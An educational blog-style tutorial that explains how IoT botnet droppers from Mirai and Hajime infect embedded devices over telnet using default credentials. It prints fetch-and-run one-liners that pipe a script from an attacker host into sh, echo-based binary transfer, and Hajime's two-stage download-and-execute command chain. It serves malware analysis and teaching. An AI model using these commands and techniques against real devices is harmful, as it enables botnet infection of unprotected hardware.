Recently I have been reading a bit about different IoT/embedded malwares and I have found the reading very interesting and instructive so I have decided to share with you what I have found.
Author Assigned Level: Newbie
Community Assigned Level:
To easily follow this paper you should have the following skills:
- Basic shell scripting
- Basic knowledge of C programming
- Basic knowledge of network programming
- Basic Knowledge of ELFs (no, knowing who Legolas is, is not enough)
This paper is for educational purpose.
Overview of an IoT malware
IoT malware, specially botnets have recently become quite popular. Mirai, Hajime, LuaBot,… are some examples of malware attacking embedded devices like modems, routers or different IoT thingies connected to the Internet.
Overall, there is nothing really special about the infection process. Most of those malwares do not even use an exploit. The infection process relies in the fact that many of those embedded devices are never reconfigured and, therefore, they still use a well-known default configuration. In this scenario, infecting the device is just a matter of trying all known user names and passwords until one just works.
However, in general, the attacker only have access to a telnet server in the device that gives access to a very constrained shell, usually a shrink version of
busybox. What this means is that you will not find tools like
curl. For this reason the dropper may have to do some tricks to get the device infected.
Fine, but… what is a dropper again?
So, the thing usually goes like this.
- The attacker launches a scan for vulnerable devices (devices enabling root accesses using default credentials publicly available)
- For each vulnerable device, the attacker will start a root session (usually via telnet) to try to install the malware in the device.
- The malware is executed and the device compromised.
The program/script used to get the malware in the device and install it is some times called dropper… because it allows the attacker to drop the malware in the device
Depending on the available tools in the target device, the dropper can be something as easy as:
wget -q http://evil-hax0r.com/m.sh -O - | sh curl -s http://evil-hax0r.com/m.sh | sh lynx -dump http://evil-hax0r.com/m.sh | sh
Or may require to feed the data through the already established connection… In a sense, something similar to what happen when using a “Rubber Ducky”… Only a terminal is available and we can just type text on it.
Anatomy of a dropper
OK, the dropper goal is to get some malware into the device and start it up. This sounds very straight forward but it actually requires a few actions in order to succeed.
- The first thing to do is to find a folder in the device with write and execution permissions. Usually the
/tmpfolder will fulfill those requirements but it is better to check what is available just in case.
- The second thing to do is to figure out the architecture of the device so the proper binary will be copied. Malware targeting embedded device usually supports a few architectures to increase its chances to spread along the network. You will usually find a few ARM architectures, MIPS big and little endian and probably x86 32bis and 64bits
- Finally it has to manage to transfer that file to the device and run it.
Note: Sophisticated droppers do more things as checking if the machine has already been infected, remove other malwares, check for RE environments (VMs, sandboxes,…). The steps above are, let’s say, the very minimum for a crappy IoT malware.
Let’s go one by one through these different steps… but first.
Parsing the commands
So, the attacker is running a program intended to remotely infect devices. It opens a socket to a telnet port in some device and it starts to
recv data through that socket. The data interchanged through that socket is what you will type and see if you manually connect to the device.
But, in order to process, specially the responses from the device, it will be useful to get some mark indicating that our command has been completed. A trick used by many malwares is to use a non-existent busybox applet to signal the completion of every command issued. You will see commands like this:
nc; wget; /bin/busybox RANDOM_TAG
The command above is used by the malware Hajime to check if the current busybox has the applets
wget. For each unknown command, busybox will reply with:
COMMAND: applet not found
This way, if the previous command produces the following input:
nc: applet not found wget: applet not found RANDOM_TAG: applet not found
That means that
wget are not available. The
RANDOM_TAG: applet not found string will indicate the end of the output and the parse just need to look for that string before issuing the next command.
Finding a suitable folder
As mentioned above, this is the first step so the dropper can drop files in the device. The usual way to do this is checking the output of
cat /proc/mounts and check for the string
rw. You can try that command in your Linux box just right now.
Note that it is very unlikely that
grep is available in any of those embedded devices so
cat /proc/mounts | grep rw may not work. Instead, the dropper will read the complete output from the
cat command and look itself for the string.
Mirai and Hajime use this technique to find a suitable place to store and run files.
Let’s take a look to the command that Mirai executes (
Have you spotted that
TOKEN_QUERY at the end?. Sure you did. Now head to this header file (https://github.com/jgamblin/Mirai-Source-Code/blob/master/loader/src/headers/includes.h) and you will find this definitions:
#define TOKEN_QUERY "/bin/busybox ECCHI" #define TOKEN_RESPONSE "ECCHI: applet not found"
Good… now you know what does that mean… don’t you?
Figuring out the architecture
Now, the dropper has to figure out the architecture so it can download the right binary for the device it is trying to infect. In general you will not find tools like
readelf in an embedded device, so you may need to figure out the architecture by other means.
Yes, you may have to parse the ELF header!!!
To do that these droppers usually
cat a binary that they know it exists… The choice for most of then is
/bin/echo. For instance check the Mirai code (you can see how Hajime does it in the report linked in the resources section at the end).
Well I haven’t said that, but, the Mirai dropper implements the telnet access as a state machine. You can see in the snippet above, how the state is set for the next loop (
TELNET_DETECT_ARCH), then the command is send to the server and the loop iteration finish. In the next iteration the case
TELNET_DETECT_ARCH will be fired and the output from
cat read and processed.
You can find the code to check the architecture here
As I said, what Mirai does is parse the ELF header and check the
e_ident fields to figure out the architecture. It cast a pointer to the buffer read from the socket to an
Elf_hdr struct and then it just access the fields…
Take a look to the code… Mirai actually does an extra check for ARM subtypes.
How to transfer the files
Now the dropper has to figure out what means are available to actually transfer the malware to the device.
For instance Mirai, checks for
echo, using the applet not found technique we described above. You can take a look to all the details here
When one of those tools are available, then we are done, but sometimes none of them can be found, and techniques like the
echo method used by Mirai are needed.
Transferring files the hard way
So, how does this
echo method works. Well this is simpler that it may look like. It just
echoes a hex string to a file. Something like this:
echo -ne "\x7f\x45\x4c\x46\x..." > malware
This, however only works with very small binaries. For bigger binaries you may have to split the
echo command in many pieces and use the
>> append redirection to append each piece to the result file.
The Hajime case
The Hajime case is very interesting as it does a kind of two stages dropping check this for details.
It first deploys a very small ELF binary. This binary is the one that will download the real malware. It connects to a pre-defined server and outputs to
stdout whatever it receives from the server… the real malware. The way it does this is interesting. After dumping the first binary (the small one) using the
echo technique, it runs the following shell commands:
cp .s .i; >.i; ./.s>.i; ./.i; rm .s; /bin/busybox ECCHI
.s is the file where the small ELF was dumped using
echo. This file was created previously and it has already got execution permissions. Knowing this, the shell code above does the following:
cp .s .icopies the small ELF (the one that will download the real malware) stored in
.i. As you know, all files starting with a dot are hidden (you have to use the flag
lsto see them). So this makes a copy of the binary… preserving the permissions. This basically means that we do not have to do
chmod 777 .iafter downloading the final malware
>.i. This is actually truncating the file. In other words, this is a way to remove all the content of the file and set its size to 0… but keeping the file permissions. So right now, we have an empty file with execution permissions
./.s>.ithis is more obvious. Now it runs the downloader (the small ELF file created with
echo) and redirects its standard output to the empty but executable file
.i. As we said above, this downloader connects to a server and dumps to
stdoutwhatever the server sends back. Think about it as a minimal
./.i;rm .sand finally the just downloaded malware is executed and the downloader removed from the disk. The main malware is likely a daemon, so, once started (
./.i), it just returns the control to the shell that can then delete the downloader.
And from this point on that device is compromised.
Well, this is it for today. Hope you enjoy the reading and if this was a new topic for you that you have learn something. Please be free to share your comments and ask your questions in the comments below.
The contents of this paper is based on the information provided by the following sources:
Mirai Source Code: https://github.com/jgamblin/Mirai-Source-Code/tree/master/loader/src
Hajime Analysis: https://security.rapiditynetworks.com/publications/2016-10-16/hajime.pdf